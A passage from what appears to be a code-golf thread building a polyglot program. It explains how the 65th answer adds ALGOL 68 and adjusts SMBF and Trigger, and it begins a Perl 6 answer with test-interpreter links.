ezX12en37QfjhC2TYkv7lvRPQ9dWE/C7PuYYJY@v/0Zw@N24FIfrK8mbA/LHPqKmLw7gvXp5Q3m5aM/b0NIdVguEz1aJh/LKkoc3z/IdbcPEnUWPs6NID1k31t1YOnwAphutb/SvNcmvEhfpjipMKQB5nRbYg@9pkR3fZqCaWS5dNk1aIPfvmWquEK4aDPL1rcM9Q5T8zTzvkxlOTL23AhW75irGV98eLlvUbu7DViiwfoZvy2H4ltur88Y7eNS@/WbBhu5GSYI95jMH4hGYm@O2c@KXRjRfUJzown@3bvEj6JrJu7bV6HPW7n6A9FG97lJwP5yc3jf/Z61vvVSiDVw2x4Fr7Zylbn@1u8YmqIEkrOUVA3rm@rZasxnxnPjhXFinJEzz4/Sb8oDUtM0FfftprwEvUw8Guou2vBqe/uwrYzxFY20@f0eBVN/GPm7e0OTwm0TSGxxX/FK3iK1Tit5ARK@eUlecEoXNd0CROaE8UR7njqQAqb/4wA8OIsSg3A4VaXlsqZJYhDawjAEsDkUr6thaUOU7FICTplxWG9AOh1SvJ0eWAf2jDSJfCCTXk9g5Un20TTmBbFXYminSHvNovLunVJUuuEBsRQOyiC32g5K1@AGHn8IPpdTJyENeDUF2/OZOqJkAx6DdboRDfuwU3kdejwrcqNEFB5EdYvvCv/x935evhwymGTgpdQHQWDBPQrYKJo8FnRz6u04plj@RBywNvoib9Kftkk68TJ3JKqW4NCvj8/38pJTXvyHl1PcoqxwIZQKXQPggWZCaYKbfsSEH@SEF6Pmk4IoOQ5CMvH62Sg1wPRDl/GS1rzMApwkCBZmSYR@VCHPSZ/hos3Tvk9j0K0fRVc820RO/vF3UWiDTg9NCNtz8rzyu0KRgJfYvLrlutEYuJ4j@cySKAdRUcgQ68cgkRvwYia@a8QdUV4BBEvU5/UvJCNqYE/bZ0Q/IgqeW2A5zPEGarH96i9vOlav@ZUEJmzgTczAudzkn/RHdipXyBzEmaFdrXZb0L3sVYhcnMr5tLBGzkvCC6MS3kRUbHN1zetZAS@vc7tjE17P4kXLEJcyrFtDep1m8Kpx1MJpmkUVdv4BZNL6WUbqeLjDQCTQEgV5gsclWJvBIcUp@UJGaCu6S@y6BW9CID6WA4PmMt9aTXHNZ@xyzDeG11WjWmvy6RQvmo0WbyWsH2HBuPOhO@mZ6Vwq3e70J6s6BbFFCYA/NNFzjn59dls0WtaXLym9gbx7pjg8CUf3Lt6ePj89Ojtvn78@AzHOxCwLx1ES0GWIQCOIfdiAjiKfV@BBHonH0u@HjUXoyAUnv3snF0U7jwEkD1TklOsqV4uSrgapylx9OHXwqDFExTlpUPvtlmDDmZFJE9h5B@ysM7N4y5GoKilS0iC2RTRtvZfDC3E9houAyFbYn1885C2htgPhXAVwzreAEUxuncTsf4nz0/bZ2fc5R6jvcQ7A0veorxA@bj9/sUl4hSYCbPTnCwM8lkeVR1PYX0L8GnDLxIL43GKi/EBj7tAQr0eiykb9ZUhKFwUztKEBBlQffBKNmadWKTolQf83SNtPIQD2@@DRlzcZBgSIhKJGtiiUyQWYurFYnypElhA2bW4WtsHhJ5BOuB/F4CKH45jTbWdDXWb@869/E@dB3Qza/563B9D@T9H@YKKANg8QBI8L0aBY3jw/JSmsMmLiAZ2uzAkDPS4kXjhmxAtAgtdcIAgumF3Od4lH7bwBeYISQJgYsTBIcXos6amjLIsPTBPXZdgBDQxecGFT0APEOMONAvO3MR7PQVw1d@u7Ozbk80y/niPkVd8hZv8CoaYdgP1I117c/HjpkkajQeQU0kfW3HWEIM0i/VCTPy4YLQKsJJbwDoExMGQ5Avpa@TC1SMu2hkPR/xRbIT0HVmehFwjwKm8AiIafw1weMqwgUS4qLCCzacaD4c18awL7gjAiAcqJH9LOEemASODWZGnDdoFf6OEpvre2JzRW1SC/RTBeEDiQt5kOAQv5ry2WE0L7P0S707X0r71tB4wL22lvniOqd08BcS7k8CyMsOpzDLwStWpWa6a9q634iZyjAm7RK74ASvAD8CuXeZ@iOG0/PXr@88np2cY5GIdU7oIpRGk1yl3dqHR6i4Zyx@bnIn1ybJ69fHI8F@QqV3nXXa62Ib/L2D3E3opyyiYp3rFByLb@KOJlnrd1IssscAXwqUgAN6iq2u2s02u0umFhg/yXbYfUBaOE59LQ6qb8iFohWwLMomB0Hl2BeXzj9E3PEML7vHoO5@Wj8ZCr2jL77NrEUxnJMOc9sDaqjTVuNXFSKGQwJw9xIv9StGWgu6TlShvZ/Coj82LPgt7qyM3pzpcZ8NO8uAmuj//sgcc4sC3zgJPDX1gYshuiQhQLKAQHOoYkO9Eq8/82qizOh1e0@S95rfSubx8pt34EEaxoOnwD6MzAjT92STfrDroh@rJzY/5oGqZzqxb95o0J4VdrqcVR0y7XSuVyMSypxRAD0MOHuG@cFSG@XRiyIU8BSC/6mgOrKsTDZjF0irShFvvNaomPgFfIJW9hwNfUNG6LdGYWH0I4qcCXhGHUZmox1XB/aBmGPQP@PkVeWDQrAY1vVZnIUzxmR/JFr1xGHoziBTLw1eyelblxdc9MvlN18mXNHAYOj/7Kuo3@/nvB3iVEVmflx9Xag0NNV2XTLHWfXTtKhw6qxm@906vT03dK4emJJts7shPuSAWzZH15ZJofP36EQE9IR1d6nQdq69GjUsXZ3StVDh3Frhza1g8/2LamVqva2Q8/qDY5VZR6TTn7oPwmFVo/gGpruw8Of/goFaTCRasMl9EygA@p8LEBHxu92YyUG52G0WrpvVZHKtxKhc8zhG5OG68Qvtx5xsfBVd9/AfeG3uvEpy@O2mdHlWpDL1SfnVSqZ6@fFGx4qS/esKsGb6@O2s9OXp9XqmLIX56/OXp9etx@6nlenPb7aX/nZPfkMBr1WoeHZUPX9UOj1QNGpj@VW@VmlmXk/UUJbPRZa/ra1BvAwAup8IpD6l0NYL9IhU6hoz6uPq5avnVtTe0r@@pldLL8PTmBDm9qfYoSa2SN7L5t21OLvbZuptaNFUQndh@eDH6sAJqeNZhaQyu0Qttew3P/b3ASvTyJAFUEw7KplSFWawDP4cnJS0A2AMKf4MezLAv4m1rX8Gv5Nr8@XFiWJsHGulffjau7v3WwfELq@70Om3pZTyYVpdvBZb5gpt2uKYxMroKhYP9sdnHxrH3evrgwUW@FwrRRLB@W9UO4mq1yI388LvRbKDUDooKkqKoadxWHNqnDU@winpJ07F65eEsPxjMMEiW7pHH/rluOU2rn7R1o5809x2EpdTkTjiK4UlV2TX1VtrvT6qAqa7h12wcns2tg9Ra@7Wgf7EZD3a1rrdZuVYsSWZnKUaLczsSPejtrqPzS8EfT8GN@b2m3agNAAEbjrwIeoCZv377Fv7eT64lo8Yb49nbRufqCF@ybyYgSpTArYMgLyU5dg20P03Z21b3yfv7TfKABO7JS0/BHVqS5wJt2AbmXCobzSrar0APidzD1jnxm@LC5qO1LMlxS85INvVBqtG7DvlRIUwZXcErZmLHJeDxhi@uplx7QT59oDCuY6RgYvKvV/b363n6tulfZ29/bqdu79XrFrlbsR3uP9q2Kbdl79u5efd@u7O3s13Z2dvaht77/yCxJhT4bYGUgJimsC9FAiRXdfizX9iDVrT0CxmHtwEO4Bh5XRsaoJeFRM1GJdos2qMaaMwM0ohqxa0uFmdTHUvjOvoOhYtZoSUUFhyg1qaDXop2oUCwWIa6ct@SafGKkUpPBhEECBRkHF9IvUd3@Gv7sFA5ipbaj1LrNgsCu2o@0Qqv6yIBcv9ATH9Ud@NYrcHOr2gUy9f6vfiG7GExWTGbdjLY0ltfCnjasa6W15X1yHeB/XKVpuvdjfzj0qj9@/AJ7FaIo1Toh9i4awFe9IX4bcHv39ERIRd6ty1oh/XDx4aIKxrG/v1v4HQZ@Y2cDvYslfsBg9RsH29b4duK9pJhKhot1Hhovx7ClWJgKQVvxvUs0lrVvwn5WP/H/a4VvEvKFVqJiAyKNW@H5LSnxqNPTyO28KqJiLybm2iKPT1g2TkJiOaLegig8Z9EEKmjapIkAPPmGaKN6TdshXgORwRN2AjkFvOYjyk1s@ixUORdeT3Ok1QIF56QFo1d4WRlfLgvwmWBLzMcN@mLaom/xCuwFWIZ11Xy0dgegY/UARulaSj7NPzIN2K@qCwwV8qencWc8bHq0@Zw4C8vO/PtSFTOplFUCR8Jpl2JH@kV1tVvcjDlfg4cP3Q9xJ@g5WtDM8FkuB85MulI9AVLKmkFTt50YmHWyTrns9ZqB9osac@aDpgXAQBsxp9rtQtNhM1dXqlU@d0L9a9irHHfCst2rjCul983PFdq0KlP4A7FV/MpvILy5KNWs@bkcOrQBf7gvXJNE3EzL1FmvG8GQK9Vvfu7QXtPSHB8GlsvHMBngM@345XJPA@I@dG4OdPyHD2nZb00dX9c1hPpQe3zcyaDRKzfx/UCljenjz50xjD9Q4dkEMr4GzMO4dR0APuDPARkL9S1ZFzxOkb0psBc0m6X3j0vvS80HDz53pnrQqwjxH1hLxSPzU2R@1UbU0vtVw@Ii4WVZVf7JO/jJKKVEroD1gZAr8cpIwWHpPfTES2@Y/Q8 \"Test driver – TIO Nexus\")\n## Rundown\nThis program prints **65** in ALGOL 68, **64** in Agony, **63** in Brian & Chuck, **62** in Grass, **61** in S.I.L.O.S, **60** in Moorhens 2.0, **59** in Tcl, **58** in Ksh, **57** in Wise, **56** in dc, **55** in Brain-Flak Classic, **54** in Zsh, **53** in Shove, **52** in COW, **51** in Assembly, **50** in Bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainfuck, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost languages can be tested with the test driver above, but 6 languages have to be tested locally.\n* Reng can be tested to output 19 [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/).\n* Modular SNUSP can be tested to output 31 [here](http://www.quirkster.com/iano/snusp/snusp-js.html).\n* Incident was verified to test 33 via manual balancing of tokens.\n* Deadfish~ can be tested to output 48 locally, [using this interpreter](https://github.com/craigmbooth/deadfish). Note that Deadfish~ takes the polyglot to be fed on stdin, but and prints a number of `>>` prompts to standard output, which are n unavoidable consequence of running any Deadfish~ program.\n* Moorhens 2.0 can be tested to output 60 using [this interpreter](https://github.com/Wheatwizard/Moorhen/commit/ac540e857ec546442a21e0a242c5b184b8504c24).\n## ALGOL 68\nALGOL is probably the least known of the four high-level programming languages from the early days of programming - the remaining languages of this nebulous distinction being COBOL, FORTRAN, and Lisp. ALGOL was better known in academic and mathematic circles at the time, but is today best known for its huge influence on modern languages. In fact most modern, practical languages can be described as “Algol-like,” not the least of which is C, which of course has its own lineage of influences and derivatives.\nI’m pretty excited to include ALGOL because it’s another major stepping stone in computer history that we get to add to this monument we call a polyglot. That’s cool stuff.\nALGOL68 is the latest of the three major ALGOL specifications, the others being ALGOL60 and ALGOL58. Interestingly, the specification doesn’t have a fixed syntax, meaning that the tokens are defined, but not the spellings. This makes the language highly interpreter dependent because any given interpreter may use a different symbol to initiate a comment block for example. The specification describes the `¢` as initiating a comment block. But because `¢` isn’t among the base 127 ascii codes it understandably doesn’t see much use as the comment indicator among the available interpreters. Well it turns out that the Genie interpreter spells `¢` as `#`, which is all the opening we need to get past character 1 and make a polyglot.\nGenie in fact has three comment syntax options, the other two being `co` and `comment`, both of which are specified as being written in bold. Yeah, bold. If we use italics, well that’s a variable. Genie solved that for us again by spelling bold in all caps. And since `CO` isn’t in the polyglot anywhere, we’ve got an easy method of hiding the polyglot from the parser. If down the road `CO` is needed for a language, we can switch to the more verbose `COMMENT` syntax.\nThere are no line comments in ALGOL - they’re all block style, which means they need to be terminated. Given the initial state of the polyglot, our ALGOL block comment is opened immediately and is terminated near the end of line 1 because Turtlèd is similarly using `#` as a jump token. Turtlèd very fortunately doesn’t have a problem walking through the `C` and `O` characters so in line 1 we can just insert `CO` immediately after the second `#` to initiate a fat block comment for ALGOL68.\nFrom here we just have to place `COprint(\"65\")` somewhere. I chose the last line because I preferred to finish out the line with another `#` comment and I didn’t want the comment to terminate at the `#` at the beginning of the last line. So we follow up our ALGOL print statement with `#s` and a `#` as the last character in the polyglot. The `s` in `#s` is for alphuck to balance out the `p` in print.\nThanks to @ais523 for opening up the end of the polyglot with answer 59 and making all this possible.\n## SMBF\nWe added a different character to the end of the polyglot to terminate ALGOL’s final comment, and SMBF was previously reading the last character for its answer. To remedy this, I had to change SMBF to read the second to last character by changing this code on line 8 `[.>-]` to this `[<.>>-]`. This is an SMBF private code block since BF’s MP is at 0 when the loop is initiated.\n## Trigger\nAt this point, I noticed some weird behavior with SMBF and it had to do with the relationships between these code segments ad the end of the polyglot.\n• Incident’s jump destination: `^_^_`\n• Trigger’s Jump destination plus answer: `X222999`\n• ALGOL68’s answer: `COprint(\"65\")#s`\nALGOL’s answer tokenized a couple Incident tokens within its code segment, so ALGOL’s code had to go prior to Incident’s code segment. ALGOL also caused a prelude alignment issue if it went first in the order so it had to go second or third. SMBF meanwhile had an inexplicable failure when Incident’s code went last, so Incident had to go first or second. Well, I realized this was an introductory logic problem that appeared unsolvable, so I set out to make the inexplicable more… plicable.\nAfter walking through SMBF I found that the problem with having ^\\_^\\_ at the end was due to Wise. Wise’s code ( `~-<~-<~-<<<~-`) isn’t hidden behind a non-executing loop, unlike most of the polyglot. But there’s no SMBF print codes involved in Wise’s code. It was just changing memory values. It seemed innocuous. So what was the problem then? It was that darn SM in front of the BF.\nWise’s code is changing the characters in the code about to be executed, and can you guess what the ascii value neighbor of `^` is? It’s `]`. Wise was putting a SMBF loop terminator at the end of the polyglot, causing SMBF to fall into an infinite loop. That’s bad mojo.\nAfter some thought I took the 0 byte solution to the problem and separated Trigger’s jump destination (`X`) from its answer (`222999`) and ended the polyglot thusly: `~-<~-<~-<<<~-XCOprint(\"65\")#s^_^_2229996#`. This only works because no character appears consecutively following Trigger’s jump that isn’t Trigger’s answer.\n## Wrapping up\nThat's all the major changes this round. I did make a minor change to cut the much discussed `c` in line 1, but that's it for purely golfing changes.\nGood Luck!\n## Incident Report\n`#\"3\"O.s` became `#\"3\"O.s` because detokenizing `T` instead of `q` was more efficient at balancing\n`<>{` became `<>{nd` to detokenize `nd` and `{␊`\nPut a space between `}}` and `+` in `#<]}} +<[<.>>-]>[` to detokenize `}}+` more cheaply.\n[Answer]\n# 27. [Perl 6](https://perl6.org), 235 bytes\n```\n#v`16/\"<\"6/b.q@\"(::)::: (22)S#;n4\"14\"\n#>3N6@15o|> ^*ttt*~++~~~%\n#=~nJ>62)#@46(8+9+9+9+9+=!)=#print(17)#3]#echo 21#===2|/=1/24=x=90/\n#8␛dggi2␛` |1|6$//''25 #>say 27#\"26\n```\n␛ represents a literal ESC character, as usual.\nThis program prints [**27** in Perl 6](https://tio.run/nexus/perl6#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**25** in Pip](https://tio.run/nexus/pip#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**24** in Thutu](https://tio.run/nexus/thutu#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**23** in Hexagony](https://tio.run/nexus/hexagony#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**22** in Underload](https://tio.run/nexus/underload#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**21** in Nim](https://tio.run/nexus/nim#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**20** in Prelude](https://tio.run/nexus/prelude#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**17** in Julia](https://tio.run/nexus/julia5#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**16** in Pyth](https://tio.run/nexus/pyth#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**15** in Haystack](https://tio.run/nexus/haystack#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**14** in Turtlèd](https://tio.run/nexus/turtled#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**13** in Ruby](https://tio.run/nexus/ruby#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**12** in Fission](https://tio.run/nexus/fission#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**10** in Befunge-93](https://tio.run/nexus/befunge#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**9** in Perl 5](https://tio.run/nexus/perl#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**8** in Retina](https://tio.run/nexus/retina#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**7** in Japt](https://tio.run/nexus/japt#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**6** in SMBF](https://tio.run/nexus/smbf#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**5** in Python 2](https://tio.run/nexus/python2#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**4** in ><>](https://tio.run/nexus/fish#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**3** in Minkolang](https://tio.run/nexus/minkolang#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw),\n[**2** in Vim/V](https://tio.run/nexus/v#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**1** in Python 